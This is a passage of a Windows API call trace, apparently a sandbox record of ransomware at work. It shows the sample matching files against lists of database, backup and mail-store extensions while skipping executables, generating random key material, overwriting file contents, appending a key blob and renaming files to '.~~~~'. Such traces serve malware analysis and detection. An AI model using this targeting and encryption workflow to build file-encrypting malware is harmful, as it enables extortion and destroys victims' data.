	[0086.405] lstrlenW (lpString=".dbf") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.405] lstrlenW (lpString=".SQL") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.405] lstrlenW (lpString=".pst") returned 4
	[0086.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.406] lstrlenW (lpString=".dbv") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.406] lstrlenW (lpString=".SDF") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.406] lstrlenW (lpString=".dtxs") returned 5
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.406] lstrlenW (lpString=".db3") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.406] lstrlenW (lpString=".OST") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.406] lstrlenW (lpString=".dbx") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.406] lstrlenW (lpString=".DB3") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.406] lstrlenW (lpString=".DAT") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.406] lstrlenW (lpString=".VHDX") returned 5
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.406] lstrlenW (lpString=".ndf") returned 4
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.406] lstrlenW (lpString=".DB") returned 3
	[0086.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.406] lstrlenW (lpString=".sql") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.407] lstrlenW (lpString=".MYD") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.407] lstrlenW (lpString=".DBT") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.407] lstrlenW (lpString=".ACCDB") returned 6
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.407] lstrlenW (lpString=".fdb") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.407] lstrlenW (lpString=".bak") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.407] lstrlenW (lpString=".myd") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.407] lstrlenW (lpString=".DTXS") returned 5
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.407] lstrlenW (lpString=".ckp") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.407] lstrlenW (lpString=".dbt") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.407] lstrlenW (lpString=".db") returned 3
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.407] lstrlenW (lpString=".TXT") returned 4
	[0086.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.408] lstrlenW (lpString=".MDF") returned 4
	[0086.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.408] lstrlenW (lpString=".bdb") returned 4
	[0086.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.408] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.408] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.409] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.409] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.409] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20639928912) returned 1
	[0086.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d4f1630, dwHighDateTime=0x1d60e1e)) 
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28089f8
	[0086.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28089f8 | out: hHeap=0x300000) returned 1
	[0086.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb228
	[0086.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0086.410] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.410] GetLastError () returned 0x0
	[0086.410] GetLastError () returned 0x0
	[0086.410] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.410] GetLastError () returned 0x0
	[0086.410] GetLastError () returned 0x0
	[0086.413] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff937, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.413] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x6c9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x6c9, lpOverlapped=0x0) returned 1
	[0086.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.413] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.413] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.413] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.413] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.413] CloseHandle (hObject=0x128) returned 1
	[0086.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.~~~~")) returned 1
	[0086.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.415] GetLastError () returned 0x0
	[0086.415] RtlWakeConditionVariable () returned 0x365f70
	[0086.415] GetCurrentThreadId () returned 0x3a4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.415] lstrlenW (lpString=".cmd") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.415] lstrlenW (lpString=".dll") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.415] lstrlenW (lpString=".bat") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.415] lstrlenW (lpString=".cpl") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.415] lstrlenW (lpString=".sys") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.415] lstrlenW (lpString=".msc") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.415] lstrlenW (lpString=".com") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.415] lstrlenW (lpString=".lnk") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.415] lstrlenW (lpString=".msp") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.415] lstrlenW (lpString=".pif") returned 4
	[0086.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.415] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.535] lstrlenW (lpString=".sqb") returned 4
	[0086.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.535] lstrlenW (lpString=".ost") returned 4
	[0086.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.535] lstrlenW (lpString=".txt") returned 4
	[0086.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.536] lstrlenW (lpString=".mdt") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.536] lstrlenW (lpString=".BDB") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.536] lstrlenW (lpString=".eql") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.536] lstrlenW (lpString=".DBF") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.536] lstrlenW (lpString=".EQL") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.536] lstrlenW (lpString=".FDB") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.536] lstrlenW (lpString=".EDB") returned 4
	[0086.536] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.537] lstrlenW (lpString=".DACPAC") returned 7
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.537] lstrlenW (lpString=".VHD") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.537] lstrlenW (lpString=".DBV") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.537] lstrlenW (lpString=".dacpac") returned 7
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.537] lstrlenW (lpString=".sdf") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.537] lstrlenW (lpString=".accdb") returned 6
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.537] lstrlenW (lpString=".DBX") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.537] lstrlenW (lpString=".MDT") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.537] lstrlenW (lpString=".SQB") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.537] lstrlenW (lpString=".vhd") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.537] lstrlenW (lpString=".bac") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.537] lstrlenW (lpString=".mdf") returned 4
	[0086.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.537] lstrlenW (lpString=".BAK") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.538] lstrlenW (lpString=".BAC") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.538] lstrlenW (lpString=".dbs") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.538] lstrlenW (lpString=".vhdx") returned 5
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.538] lstrlenW (lpString=".NDF") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.538] lstrlenW (lpString=".dat") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.538] lstrlenW (lpString=".DBS") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.538] lstrlenW (lpString=".CKP") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.538] lstrlenW (lpString=".edb") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.538] lstrlenW (lpString=".PST") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.538] lstrlenW (lpString=".dbf") returned 4
	[0086.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.538] lstrlenW (lpString=".SQL") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.539] lstrlenW (lpString=".pst") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.539] lstrlenW (lpString=".dbv") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.539] lstrlenW (lpString=".SDF") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.539] lstrlenW (lpString=".dtxs") returned 5
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.539] lstrlenW (lpString=".db3") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.539] lstrlenW (lpString=".OST") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.539] lstrlenW (lpString=".dbx") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.539] lstrlenW (lpString=".DB3") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.539] lstrlenW (lpString=".DAT") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.539] lstrlenW (lpString=".VHDX") returned 5
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.539] lstrlenW (lpString=".ndf") returned 4
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.539] lstrlenW (lpString=".DB") returned 3
	[0086.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.540] lstrlenW (lpString=".sql") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.540] lstrlenW (lpString=".MYD") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.540] lstrlenW (lpString=".DBT") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.540] lstrlenW (lpString=".ACCDB") returned 6
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.540] lstrlenW (lpString=".fdb") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.540] lstrlenW (lpString=".bak") returned 4
